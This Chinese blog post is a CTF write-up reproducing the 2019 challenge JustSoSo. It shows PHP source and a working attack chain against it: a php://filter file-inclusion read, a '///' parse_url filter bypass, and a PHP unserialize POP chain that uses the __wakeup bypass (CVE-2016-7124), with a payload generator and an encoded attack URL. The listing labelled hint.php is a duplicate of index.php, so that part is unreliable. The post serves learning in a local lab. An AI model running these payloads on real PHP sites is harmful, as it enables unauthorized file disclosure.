JustSoSo复现

这个题目又碰到了,所以复现一下,过程中又学到了很多东西,记录记录

题目环境

2019国赛线上的一个题目JustSoSo,总共三个文件:index.php,hint.php,flag.php,贴一下源码

index.php

<html>
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    $payload = $_GET["payload"];
    if(!isset($file)){
    
    
        echo 'Missing parameter'.'<br>';
    }
    if(preg_match("/flag/",$file)){
    
    
        die('hack attacked!!!');
    }
    @include($file);
    if(isset($payload)){
    
    
        $url = parse_url($_SERVER['REQUEST_URI']);
        parse_str($url['query'],$query);
        print_r($query);
        foreach($query as $value){
    
    
            if (preg_match("/flag/",$value)) {
    
    
                die('stop hacking!');
                exit();
            }
        }
        $payload = unserialize($payload);
    }else{
    
    
       echo "Missing parameters";
    }
    ?>
    <!--Please test index.php?file=xxx.php -->
    <!--Please get the source of hint.php-->
</html>

hint.php

<html>
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    $payload = $_GET["payload"];
    if(!isset($file)){
    
    
        echo 'Missing parameter'.'<br>';
    }
    if(preg_match("/flag/",$file)){
    
    
        die('hack attacked!!!');
    }
    @include($file);
    if(isset($payload)){
    
    
        $url = parse_url($_SERVER['REQUEST_URI']);
        parse_str($url['query'],$query);
        print_r($query);
        foreach($query as $value){
    
    
            if (preg_match("/flag/",$value)) {
    
    
                die('stop hacking!');
                exit();
            }
        }
        $payload = unserialize($payload);
    }else{
    
    
       echo "Missing parameters";
    }
    ?>
    <!--Please test index.php?file=xxx.php -->
    <!--Please get the source of hint.php-->
</html>

flag.php,这里是自己编的

<?php
$flag = "just_so_so";
?>

解题过程

index.php
在index.php的注释中,会发现存在LFI,还有hint.php,所以通过filter伪协议读取文件index.php,hint.php,flag因为被过滤了,所以不能直接读取,否则这题也没啥意思。

php://filter/read=convert.base64-encode/recource=index.php

首先看index.php,传入file和payload两个参数,加上过滤,然后include($file)(这个可以用来包含hint.php)。接下来对我们传入的参数进行正则匹配,过滤了flag。parse_url函数存在漏洞,可以多加上//进行绕过,使得该函数获取的返回值为空。具体可以参考:parse_url函数小记
在index.php的最后是反序列化。

hint.php
在hint.php中,两个类HandleFlag,看到Flag类中的函数getFlag,这应该就是突破点,当$file=flag.php时,就可以读取flag
利用过程:构造一个Handle类对象a,然后对象a中handle值指向一个Flag类对象b,同时b的token和token_flag值是相同的(因为两个变量都是md5随机数,所以使用地址),为了防止__wakeup()函数将参数都置为空,需要修改变量数量,避免执行__wakeup()函数

payload

<?php  
class Handle{
    
     
    private $handle;  
    public function __construct($handle) {
    
    
        $this->handle = $handle;
    }
}

class Flag{
    
    
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
    
    
        $this->file = $file;
    }
}
$b = new Flag("flag.php");
$b->token = &$b->token_flag;
$a = new Handle($b);
echo serialize($a);

运行结果:

O:6:"Handle":1:{
    
    s:14:"Handlehandle";O:4:"Flag":3:{
    
    s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

但是需要修改变量数量,将1改为2即可;同时注意s:14:"Handlehandle";,虽然看起来只有12个字符,但是该成员属性为private,序列化后,会在Handle前后加上0x00,故长度为14=12+2.在传参的时候,要记着进行编码,所以payload是

O:6:"Handle":2:{
    
    s:14:"%00Handle%00handle";O:4:"Flag":3:{
    
    s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

再加上之前的file,我这里复现题目放在justsoso文件夹内了,所以url多了一个目录

http://127.0.0.1///justsoso/index.php?file=hint.php&payload=O:6:%22Handle%22:2:{
    
    s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{
    
    s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}

在这里插入图片描述

复现过程中可能遇到的一点问题

在这个复现的过程中,遇到了点php版本的问题,学长帮忙解决了,自己还是太菜了,按照代码执行过程说下两个问题吧
首先,代码会执行到index.php中的parse_url,然后会在hint.php中,执行$this->handle->getFlag();,这两个地方根据php版本的不同得到的结果也不同。

parse_url

///可以绕过,使得parse_rul返回false,但是有php版本的限制
为了测试,我在index.php中加了一行代码
在这里插入图片描述
为了方便,用的phpstudy,方便切换php版本
在php5.6.59及以下,回显Array()
在这里插入图片描述

在php7.0.9中,就不适用了,回显stop hacking
在这里插入图片描述而在php7.3.4中,回显
在这里插入图片描述
但是没有flag,这就是另一个问题了

$this->handle->getFlag();

CVE-2016-7124
在这里插入图片描述

所以特地将代码重新切分,摘出一个test.php出来,将parse_url去掉

<?php  
class Handle{
    
     
    private $handle;  
    public function __wakeup(){
    
    
        foreach(get_object_vars($this) as $k => $v) {
    
    
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) {
    
     
        $this->handle = $handle; 
    } 
    public function __destruct(){
    
    
        echo "1111111";
        $this->handle->getFlag();
    }
}

class Flag{
    
    
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
    
    
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }

    public function getFlag(){
    
    
        echo "2222";
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag){
    
    
            if(isset($this->file)){
    
    
                echo "3333";
                echo $this->file;
                echo @highlight_file($this->file, true);
            }  
        }
}
}
$payload = $_GET["payload"];
unserialize($payload);

在php7.0.9以前及php5.x中,可以执行

在这里插入图片描述

在php7.3.4及以上中,修复了上面的漏洞,啥都没回显

综上,php版本最好是5.x,才能够比较顺利的复现

猜你喜欢

转载自blog.csdn.net/RABCDXB/article/details/120272276